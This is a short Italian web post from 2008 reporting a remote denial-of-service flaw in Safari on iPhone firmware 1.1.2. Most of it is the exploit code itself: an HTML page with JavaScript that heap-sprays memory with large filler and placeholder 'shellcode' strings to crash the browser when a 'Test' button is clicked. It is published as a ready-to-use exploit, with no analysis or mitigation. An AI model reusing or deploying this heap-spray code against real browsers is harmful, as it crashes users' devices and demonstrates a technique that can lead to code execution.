Denial Of Service exploit per Safari (iPhone)
Scritto da Nemesis   
Venerdì 25 Gennaio 2008 20:04

Apple iPhone con firmware versione 1.1.2, soffre di una vulnerabilità remota nell'applicazione Safari.
Il codice dell'exploit è di seguito riportato: 

<html><body><script>

function Demo() {

var shellcode;
var addr;
var fill;

alert('Attempting a crash ...');
shellcode = unescape('%u0c0c');
fill = unescape('%ucccc');
addr = 0x02020202;

var b = fill;
while (b.length <= 0x40000) b+=b;

var c = new Array();
for (var i =0; i<36; i++) {
c[i] =
b.substring(0, 0x100000 - shellcode.length) + shellcode +
b.substring(0, 0x100000 - shellcode.length) + shellcode +
b.substring(0, 0x100000 - shellcode.length) + shellcode +
b.substring(0, 0x100000 - shellcode.length) + shellcode;
}

}

</script>

<input type='button' onClick='Demo()' value='Test'>

</body></html>

 






Ultimo aggiornamento Domenica 08 Novembre 2009 12:31